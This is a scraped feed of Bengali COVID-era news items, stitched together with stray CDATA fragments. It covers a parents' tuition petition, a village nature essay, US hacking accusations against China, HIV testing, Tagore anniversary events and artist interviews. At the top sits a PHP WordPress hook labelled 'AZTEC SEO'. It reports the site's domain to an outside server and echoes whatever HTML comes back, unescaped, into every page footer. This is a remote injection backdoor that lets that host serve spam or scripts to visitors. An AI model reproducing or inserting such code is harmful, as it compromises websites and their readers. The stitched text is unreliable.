/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
মঙ্গলবার কলেজের ঢাকা জেলা প্রশাসক বরাবর এ আবেদন করেন তারা। পরে শিক্ষা মন্ত্রণালয়েও আবেদন করবেন বলেও জানান অভিভাবক সংগঠনের নেতৃত্বদানকারী মো. আবদুল মজিদ সুজন।
আবেদনে শিক্ষক ও শিক্ষার্থীদের বেতন স্থগিতের জন্য কয়েকটি যুক্তি তুলে ধরেছেন।
১. করোনাভাইরাসের কারণে ফেব্রুয়ারির শেষ সপ্তাহে স্কুল-কলেজে উপস্থিতি অনেক কমে যায়। পরবর্তীতে সরকার ১৭ মার্চ হতে সব শিক্ষাপ্রতিষ্ঠান বন্ধ করে দেয়। তাই না খোলা পর্যন্ত সব শিক্ষককে বিনা বেতনে ছুটি দেয়া হোক (অফিস ও প্রহরী ব্যতীত)।
২. এই দুঃসময়ে শিক্ষার্থীদের থেকে বেতন আদায়ের কোনো ফন্দি যেন না করা হয়। মন্ত্রণালয়ের এ বিষয়ে নিষেধ আছে।
৩. স্কুল ও কলেজ পর্যায়ের সব শিক্ষার্থী এখন মানসিক চাপে আছে। তাদের জন্য ফান্ড হতে দুই হাজার টাকা করে প্রণোদনা দেয়া হোক, যার সিদ্ধান্ত ২০ রোজার মধ্যে নিতে হবে।
অভিভাবক সংগঠনের নেতা আবদুল মজিদ সুজন বলেন, করোনা পরিস্থিতিতে মানুষের আয়-উপার্জন বন্ধ হয়ে গেছে। এমন পরিস্থিতিতে অনেকে ঘরে তিনবেলা খাবার জোটাতে হিমশিম খাচ্ছে। তার ওপরে রয়েছে সন্তানের স্কুলের টিউশন ফি দেয়ার চাপ। এ কারণে টিউশন ফি মওকুফের আবেদন জানানো হয়েছে।
]]>গ্রামে কখনো কাঠফাটা রোদ, কখনো নীল আকাশ আবার কখনো কালো মেঘে আচ্ছন্ন থাকে প্রকৃতি। প্রকৃতির এই রূপবদল গ্রামগুলোর সৌন্দর্যও পাল্টে দেয়। বাংলার বর্ষপঞ্জিতে এখন বৈশাখ মাস চলে। এ মাসে সকাল কিংবা ক্লান্ত দুপুর, বিকেল কিংবা সন্ধ্যাবেলা, প্রহরে প্রহরে পাল্টে যায় দৃশ্য।
কখনো আকাশজুড়ে কালো মেঘের রাজত্ব। বাতাসে যে মেঘের গতিপথ ক্রমেই রূপ বদলায়। সেই মেঘের সাথে তাল মিলিয়ে গ্রামের রূপও বদলায়। মেঘ মিতালির ভেলা শেষে প্রকৃতিজুড়ে এক পশলা বৃষ্টি নামে। বৃষ্টির পরেই রৌদ্র আসে। এই রৌদ্রের আভায় নীল আকাশে রংধনুর দেখা মিলে। রংধনুর সাতরঙে গ্রামগুলো রঞ্জিত হয়।
শুধু তাই নয় গ্রামের বিস্তর ধানক্ষেত, আম- লিচু আর মৌসুমি ফুলে-ফলে মুগ্ধতা ছড়ায় প্রকৃতি। গ্রামের অবারিত মাঠ জুড়ে গ্রীষ্মের সোনালি ধানের খেলা।
করোনার এই সময়কালে শহুরে ব্যস্ততার সাথে গ্রামীণ মানুষগুলোরও ব্যস্ততা কমেছে। মানুষের কর্মহীনতার এই সময়ে প্রকৃতি নিজের হয়ে আবিভূর্ত হয়েছে। তাইতো ক্ষণে ক্ষণে বৈশাখী ঝড় কৃষকের মনে ভয়ের সাথে স্বস্থির বার্তা বয়ে আনছে।
তাই এই সময়ে প্রকৃতিকে বেশি ভালোবাসতে ইচ্ছে করে। মনের গতি-প্রকৃতিও কেমন কাব্যময় হয়ে ওঠে। এক পশলা বৃষ্টি হয়ে গেলে, ভূমি ভিজে উঠলে, মাটির সোঁদা গন্ধে আমরাও কেমন ভিজে উঠি। এই সময়টায় গ্রামের পথ ধরে হাঁটতে থাকলে যত দূর চোখ যায়, নিবিড় সহজ সবুজ দেখা যায়। সকালের সূর্যিমামার আলোয় সোনালি ধানগুলো জ্বলতে থাকে। কৃষক ধানক্ষেতের সান্নিধ্যে এসে বুক ভরে শ্বাস নেয়। এতেই তাদের স্বস্তি।
দিন পেরিয়ে পশ্চিম আকাশের লালচে সূর্য্যের আলো আরও মুগদ্ধা ছড়ায়। রাতেরবেলা বাঁশবাগানের উপর চাঁদের আলো গ্রামগুলোকে জড়িয়ে রাখে। এ সময় গ্রামের মায়েরা ছোট শিশুকে চাঁদ মামা দেখায়। আর থলেতে থাকা ভাতগুলো খাওয়াতে থাকে। চাঁদ মামার গল্পে ছোট শিশুটি মায়ের কোলেই ঘুমিয়ে পড়ে।
গ্রীষ্মের এই দিনগুলোতো তাই মনে পড়ে হৈমন্তী শুক্লার গাওয়া ভারি মিষ্টি গানটা ‘ওগো বৃষ্টি আমার চোখের পাতা ছুঁয়ো না, এই মেঘলা দিনে একলা। এসব মিলে বাংলার গ্রামগুলো যেন স্বর্গের লীলাভূমি।
লেখক: শিক্ষার্থী, ইসলামী বিশ্ববিদ্যালয়।
]]>মার্কিন অফিসারদের দাবি, চীনা সরকারই হ্যাকিং-এর চেষ্টা করছে। চীনের বিদেশমন্ত্রকের মুখপাত্র ঝাও লিজিয়ান অভিযোগ অস্বীকার করেছেন। তাঁর কথায়, “কোভিড ১৯ এর চিকিৎসায় এবং ভ্যাকসিন নিয়ে গবেষণায় আমরা বাকিদের চেয়ে এগিয়ে আছি। কোনও প্রমাণ ছাড়াই আমেরিকা আমাদের বিরুদ্ধে অভিযোগ তুলছে।”
এর আগে ইরান, উত্তর কোরিয়া, রাশিয়া ও চীনের বিরুদ্ধে হ্যাকিং-এর অভিযোগ উঠেছিল। মার্কিন অফিসারদের দাবি, ওই সব দেশের সরকার হ্যাকারদের নিয়োগ করেছে। তারা বিজ্ঞানী ও স্বাস্থ্যকর্মীদের অ্যাকাউন্ট হ্যাক করছে। নানা গুজব ও ভুয়া খবর ছড়াচ্ছে।
আমেরিকার নিউ ইয়র্ক টাইমস সংবাদপত্রের ধারণা, এবার আমেরিকাও পাল্টা হ্যাকিং শুরু করবে। সেজন্য তৈরি হচ্ছে পেন্টাগনের সাইবার কম্যান্ড এবং ন্যাশনাল সিকিউরিটি এজেন্সি। গত সপ্তাহে ব্রিটেন ও আমেরিকা যৌথভাবে এক সতর্কতা জারি করে। তাতে বলা হয়, স্বাস্থ্যকর্মীদের ওপরে সাইবার অ্যাটাক বাড়ছে। এর পিছনে বিভিন্ন দেশের সরকার জড়িত। গোয়েন্দারা লক্ষ করেছেন হ্যাকাররা ‘পাসওয়ার্ড স্প্রেয়িং ট্যাকটিকস’ কাজে লাগাচ্ছে। কোনও গবেষণা সংস্থার ই-মেল অ্যাকাউন্ট হ্যাক করতে ওই পদ্ধতি ব্যবহার করা হয়।
]]>মহামারি বিশেষজ্ঞ ট্রাভিস সানচি জানান হাজারের উপরে আইচআইভি শনাক্ত করার সেন্টার বন্ধ থাকায় অনেকে টেস্ট করাতে পারছে না। প্রতিদিন এমন প্রতিটি সেন্টারে ৫০ জনের বেশি মানুষ পরীক্ষ করাতেন। তবে অনিরাপদ যৌন মিলনের ফলে এ সময়ে এ রোগটি ব্যাপক আকার ধারণ করতে পারে। যাদের আইচআইভি পজেটিভ হওয়ার ঝুঁকি রয়েছে এমন ১ হাজার মানুষের মেধ্যে একটি অনলাইন জরিপ পরিচালনা করে এমন আশঙ্কার কথা জানিয়েছেন ইমোরি বিশ্ববিদ্যালয়ের এ বিশেষজ্ঞ।
]]>কর্মসূচি :
করোনা সংক্রমণের এই সময়ে রবীন্দ্রজয়ন্তী উপলক্ষে জনসমাগম হয় এমন কোনো আয়োজন থাকছে না। তবে প্রধানমন্ত্রী ডিজিটালি রবীন্দ্রজয়ন্তী উদযাপনের পরামর্শ দিয়েছেন। সে অনুযায়ী সংস্কৃতিবিষয়ক মন্ত্রণালয় ডিজিটাল মাধ্যমে প্রচারের জন্য একটি অনুষ্ঠান ধারণ করেছে। ধারণকৃত এই অনুষ্ঠানটি আজ সকাল ১০টায় দেশের বিভিন্ন চ্যানেলে প্রচার করা হবে। এছাড়া ‘ওই মহামানব আসে’ শীর্ষক বিশেষ অনুষ্ঠানের আয়োজন করেছে ছায়ানট। রবীন্দ্রজয়ন্তীর দিন সকাল সাড়ে ৯টায় ছায়ানটের ইউটিউব চ্যানেলে দেখা যাবে এটি।
রবীন্দ্রজয়ন্তীতে আইজিসিসি’র বিশেষ আয়োজন :
বিশ্বকবির জন্মবার্ষিকী উপলক্ষে বিশেষ আলোচনা অনুষ্ঠানের আয়োজন করেছে ঢাকার ভারতীয় হাইকমিশনের ইন্দিরা গান্ধী কালচারাল সেন্টার (আইজিসিসি)। ভারতীয় হাইকমিশনের এক সংবাদ বিজ্ঞপ্তিতে জানানো হয়, রবীন্দ্রনজয়ন্তী উপলক্ষে ‘ট্রিবিউট টু রবীন্দ্রনাথ ট্যাগোর : এ রে অব হোপ থট ট্যাগোরস ফিলোসফি’ শীর্ষক অনুষ্ঠানের আয়োজন করছে আইজিসিসি। অনুষ্ঠানটি রবীন্দ্রজয়ন্তীর দিন, অর্থাৎ আজ শুক্রবার সন্ধ্যা সাড়ে সাতটায় আইজিসিসি’র ফেসবুক পেজে সম্প্রপ্রচার করা হবে।
এই আয়োজনে অতিথি হিসেবে থাকবেন বাংলাদেশের রবীন্দ্র বিশ্ববিদ্যালয়ের ভাইস চ্যান্সেলর (ভিসি) অধ্যাপক ড. বিশ্বজিৎ ঘোষ, ভারতের শান্তিনিকেতনের বিশ্বভারতী বিশ্ববিদ্যালয়ের ভাইস চ্যান্সেলর (ভিসি) অধ্যাপক ড. বিদ্যুৎ চক্রবর্তী, বিশিষ্ট শিক্ষাবিদ, লেখক এবং অনুবাদক অধ্যাপক ফখরুল আলম এবং ভারতের অনুবাদক ও গবেষক অধ্যাপক রাধা চক্রবর্তী। এছাড়া অনুষ্ঠানে আরো উপস্থিত থাকবেন ইন্ডিয়ান কাউন্সিল ফর কালচারাল রিলেশনসের (আইসিসিআর) সভাপতি ড. বিনয় সহস্রবুদ্ধি। অনুষ্ঠানের শুরুতে স্বাগত বক্তব্য দেবেন বাংলাদেশে নিযুক্ত ভারতীয় হাইকমিশনার ড. রীভা গাঙ্গুলি দাশ। ইন্দিরা গান্ধী কালচারাল সেন্টারের ফেসবুক পেইজ https://www.facebook.com/IndiraGandhiCulturalCentre/
করোনাকাল কেমন কাটছে? ভোরের কাগজের এমন প্রশ্নের জবাবে বাংলাদেশে শিল্পকলা জগতের অনন্য মুখ রফিকুন নবী বলেন, আর সবার যেভাবে কাটছে, আমারও তাই কাটছে। এটা একটা অপ্রত্যাশিত বাজে সময়। চারদিকে মানুষ রোগী হয়ে যাচ্ছে, মৃত্যুও হচ্ছে, এসব চিন্তা মাথায় ঢুকলে কিছুই আর ভালো লাগে না। তারপরও ঘরে বসে বসে করোনা নিয়ে কিছু ছড়া লিখছি। ছবি আঁকার চেষ্টা করছি। কিন্তু নিজের মনপুত হচ্ছে না। মন ভালো না থাকলে কিছুতেই তা হবে না। দুশ্চিন্তা নিয়েই কাটছে সময়। পরিবারের ছেলে-মেয়েরা অনেকেই বাইরে থাকে, তাদের নিয়ে দুশ্চিন্তাতেই থাকি। এই অবস্থার মধ্যে সিরিয়াসলি ছবি আঁকা হচ্ছে না। তবে পড়াশোনা করছি। বেশিরভাগই শিল্পকলাকেন্দ্রিক। করোনা নিয়েও কাজ করার পরিকল্পনা আছে। কিন্তু আমি ভয়াবহ পরিস্থিতি নিয়ে কিংবা মানুষকে ব্যথিত করে এমন কোনো কাজ করতে পারি না।
করোনার অভিঘাতে কতটা বদলাল বিশ্ব এবং বাংলাদেশ? এই প্রশ্নের উত্তরে রনবী বলেন, আগে যেসব মহামারি দেখেছি, সেসব আঞ্চলিক ছিল। কোনো দেশ বা ওই দেশের কোনো অঞ্চলে সীমাবদ্ধ থাকত। কিন্তু অন্য মহাদেশকে আক্রান্ত করত না। কিন্তু এই প্রথম আমার দেখার অভিজ্ঞতায় একটা ভাইরাস ভয়ঙ্করভাবে সারা পৃথিবীতে ছড়িয়ে গেল। ধনী দেশ গরিব দেশ, ভালো দেশ পাজি দেশ কাউকেই বাদ দেয়নি। প্রচণ্ডভাবে ভীতিকর একটা পরিস্থিতি সৃষ্টি করল। এটা কি প্রকৃতি থেকে নাকি মনুষ্য সৃষ্টি- এটা বিজ্ঞানীরাই ভালো বলতে পারবে।
করোনার এই অভিঘাতে সারা বিশ্বেই একটা অর্থনৈতিক খারাপ পরিস্থিতি বিরাজ করবে। বড় কোনো দুর্গতি আসলেই আমাদের মতো ছোট দেশগুলো দুর্ভিক্ষের মধ্যে পড়ে যায়। এবারো যে সেটা আসবে না তা বলা যায় না। আরেকটা দিক দেখি, এই যে মধ্যপ্রাচ্যে এতো বোমাবাজি যুদ্ধ-বিগ্রহ চলছিলই। এই ভাইরাস আসায় সব দিকেই এসব বন্ধ হয়ে গেছে। যেই দেশগুলো এসবে জড়িত থাকে তারা এসবে আক্রান্ত হওয়ায় এসবের দিকে মনোযোগের সময় নাই। ওইদিক দিয়ে একটা পরিবর্তন আসল। এর মধ্য দিয়ে বোঝাই যাচ্ছে- খুব বানোয়াট মানসিকতা থেকেই এই যুদ্ধগুলো হয়। তেল নিয়ে, পাওয়ার নিয়ে, কারা নেতৃত্বে থাকবে এসব নিয়েই তো যুদ্ধ হয়। ভাইরাসের কাছে সব ডাউন।
আমাদের মনোজগতে করোনার কী প্রভাব দেখছেন? এর জবাবে বিশিষ্ট এই শিল্পী বলেন, একটা আত্মকেন্দ্রিক এবং স্বার্থপর ব্যাপার ঘটে চলেছে সমাজে। আমি বাঁচব, এমনটাই বেশি বেশি ভাবা হচ্ছে। তাতে করে আত্মকেন্দ্রিকতা, স্বার্থপরতার রূপটা ভেসে উঠছে। যার করোনা হয়, তার ধারেকাছে স্ত্রী, পুত্র, কন্যা, পরিবার কেউ থাকতে পারে না! এমন একটা জঘন্য ভাইরাস। তাতে করে আমাদের মানবিকতা, পারিবারিক বন্ধন এসব লোপ পাচ্ছে বলে মনে হচ্ছে আমার। তাতে করে ভয়াবহ মানসিক পরিবর্তন হতে যাচ্ছে বলে আমার ধারণা।
]]>পীযূষ বন্দ্যোপাধ্যায়
সাংস্কৃতিক ব্যক্তিত্ব
পীযূষ বন্দ্যোপাধ্যায়, বরেণ্যে অভিনেতা। অভিনয়ের সব মাধ্যমেই তার অবাধ পদচারণা। প্রখ্যাত এই অভিনেতা দেশমাতৃকার মুক্তির প্রয়োজনে একদিন জীবন বাজি রেখে যুদ্ধে ঝাঁপিয়ে পড়েছিলেন। রণাঙ্গনের অতুতোভয় মুক্তিযোদ্ধা পীযূষ বন্দ্যোপাধ্যায় সম্প্রীতি বাংলাদেশের আহ্বায়ক। একাধারে একজন নাট্যকার, আবৃত্তিকার, সংগঠক ও সাংস্কৃতিক ব্যক্তিত্ব। চলচ্চিত্র উন্নয়নেও রয়েছে তার বিশেষ ভূমিকা। তার মননশীল কলাম ও ভাবনা পাঠককে আবিষ্ট করে এবং ভাবায়। আপাদমস্তক মানবিক ও প্রগতিশীল এই সংস্কৃতিপ্রাণ মানুষটি মনের আনন্দে শিশুতোষ ছড়াও লিখেছেন অসংখ্য এবং লিখেছেন কবিতাও। তিনি বর্তমানে একুশে টেলিভিশনের সিইও হিসেবে কর্মরত।
তার মতে, মুক্তিযুদ্ধ আমাদের জাতীয় জীবনে মহাকাব্যিক অধ্যায়। তিনি প্রতিদিন, প্রতিমুহূর্তে যা কিছু করেন এবং করছেন এর সবকিছুই মুক্তিযুদ্ধের চেতনা, দর্শন এবং আদর্শকে সম্পৃক্ত করেই করেন। তার মতে, একজন মুক্তিযোদ্ধার কাছে তার জীবনের সব কিছুতেই মহান মুক্তিযুদ্ধের পবিত্র স্পর্শ স্পষ্ট লেগে থাকে। তার সঙ্গে থাকে সৌহার্দ ও সম্প্রীতির মেলবন্ধন।
বিশিষ্ট এ শিল্পীর করোনাকাল কেমন কাটছে জানতে চাইলে ভোরের কাগজকে তিনি বলেন, করোনাকাল সবার যেভাবে শঙ্কায় কাটছে আমারও তেমনি কাটছে। সুযোগ পেলেই পড়ছি আর কলাম লিখছি। কিছু ছড়া ও কবিতার খসড়াও করছি। ১৯৭১ সালে আমি যে ঘর থেকে বেরুলাম, সেই ঘর থেকে বেরুনোর পরে আবার যে ঘরে ফিরলাম, সেই পুরো সময়টাকে স্মৃতিকথার মতো করে ধরবার চেষ্টা করছি। একটা জার্নি থেকে মানুষ অনেক কিছু দেখবে। এছাড়া আমার তো এখন দুটো অফিস। ইটিভি আর সম্প্রীতি বাংলাদেশ। সারাদিন অফিস এবং সম্প্রীতি বাংলাদেশের পক্ষ থেকে বিভিন্নজনের খোঁজখবর নিতে হচ্ছে।
প্রত্যেক সপ্তাহে সারা পৃথিবীর এক্সপার্টদের নিয়ে প্রতি বুধবার আর শনিবার এক ঘণ্টার ভার্চুয়াল মিটিং করি। আমরা দেশের বিভিন্ন অঞ্চলের জেলা উপজেলার স্কুল-কলেজ এবং উপশহরে গিয়ে যে সম্প্রীতি সংলাপ করতাম সে প্রোগ্রামটা এখর আর ফিজিক্যালি করতে পারছি না। সেটাই আমরা এখন ভার্চুয়ালি বিভিন্ন বিষয়ভিত্তিকভাবে করছি। যাদের জানানোর ইচ্ছা থাকে তারা জানে। এর মধ্যে আমরা বুদ্ধপূর্ণিমা নিয়ে করেছি। যেখানে বাংলাদেশের অসাম্প্রদায়িক চেনা এবং সমাজনীতি শীর্ষক আলোচনা করেছি। এরপর রবীন্দ্রজয়ন্তী করেছি। এরপর করোনার প্রতিষেধক নিয়ে করেছি। এর সঙ্গে আমেরিকা, ভারত এবং বাংলাদেশ মিলে তিনটি দেশের কিছু এক্সপার্ট সম্পৃক্ত হয়েছিলেন। যারা বৈজ্ঞানিক চর্চা এবং ওষুধের প্রতিষেধক নিয়ে গবেষণা করেন, তারা যুক্ত হয়েছিলেন। ভালো একটা প্রোগ্রাম হয়েছে। সম্প্রীতি বাংলাদেশের ফেসবুকে এটা লাইভ হয়।
এর মধ্যে পড়ছেন কি- জানতে চাইলে তিনি বলেন, বাড়িতে অনেক পড়ার বই জমে আছে। সব তো আর পড়া হয় না। তবে এর মধ্য থেকে রাজনীতি আর সমাজনীতির বইগুলো পড়ছি। করোনা পরবর্তীকালে পৃথিবীতে বিশালাকারে সমাজ এবং অর্থনীতির পরিবর্তন আসছে। আমাদের সামাজিক সংস্কৃতি ও অর্থনীতি এবং মানুষের (বিহেবিয়ার প্যাটার্ন) প্রাত্যহিক আচরণের অনেক পরিবর্তন হচ্ছে বলে বিশেষজ্ঞরা বলছেন। সেই বিষয়গুলো নিয়ে লেখাগুলো পড়ে বুঝবার চেষ্টা করি। আর আন্তর্জাতিক রাজনীতি এবং উপমহাদেশের রাজনীতি কোথায় গিয়ে দাঁড়াবে- কি হতে পারে তা নিয়ে আমার আলাদা ইন্টারেস্ট আছে। সেটা নিয়ে পড়ার চেষ্টা করি।
তিনি বলেন, আরেকটা বিষয় লক্ষ্য করছি, ঘোলা জলে মাছ শিকার করার মানুষের তো অভাব নেই। এ দুঃসময়ের মধ্যেও অনেকে ঘোলা জলে মাছ শিকারের পাঁয়তারা করছে। গণমাধ্যমের মাধ্যমে এসব আমরা দেখছি। তাদের গতিবিধি কী হচ্ছে, সেটাও গণমাধ্যমের মাধ্যমে জানার চেষ্টা করছি।
করোনাকালে আপনার চেনা পৃথিবীর কতোটা পরিবর্তন হয়েছে জানতে চাইলে পীযূষ বলেন, একেবারে ভিন্ন জগতে আমরা পৌঁছে গেছি। কোনো মিলই খুঁজে পাচ্ছি না। মিল খোঁজার চেষ্টা করাও ভুল হবে। যে জগতের সঙ্গে আমাদের পরিচয় ছিল, এখনকার যে জগৎ সে জগতের সঙ্গে একেবারেই পরিচয় ছিল না। আমরা স্প্যানিশ ফ্লু, প্ল্যাগ কিংবা ইবোলার কথা শুনেছি। এখন আমরা জীবন থেকে শেখছি।
বাংলাদেশ ঘুরে দাঁড়াতে পারবে কী না- জানতে চাইলে বিশিষ্ট এই মুক্তিযোদ্ধা বলেন, অবশ্যই ঘুরে দাঁড়াতে পারবে। এটা আমাদের জাতীয় চরিত্র। এটা দু-চার-দশ বছরের কাহিনী নয়, এটা শত শত বছরের চরিত্র। নিকট-অতীতেও দেখেছি, বাংলাদেশের মানুষ ঘুরে দাঁড়ানোর সামর্থ্য এবং সাহস রাখে। সুদূর অতীতেও দেখেছি বাংলাদেশ ঘুরে দাঁড়িয়েছে, আবারো ঘুরে দাঁড়াবে।
তিনি বলেন, আরেকটা অভাবনীয় পরিবর্তন দেখছি- সেটা হচ্ছে গাছগুলো সবুজ থেকে সবুজতর হচ্ছে, যেন মখমলের গালিচা বিছিয়ে দেয়া হয়েছে। পাখি ডাকছে, নতুন পাখি, পুরনো পাখি।
]]>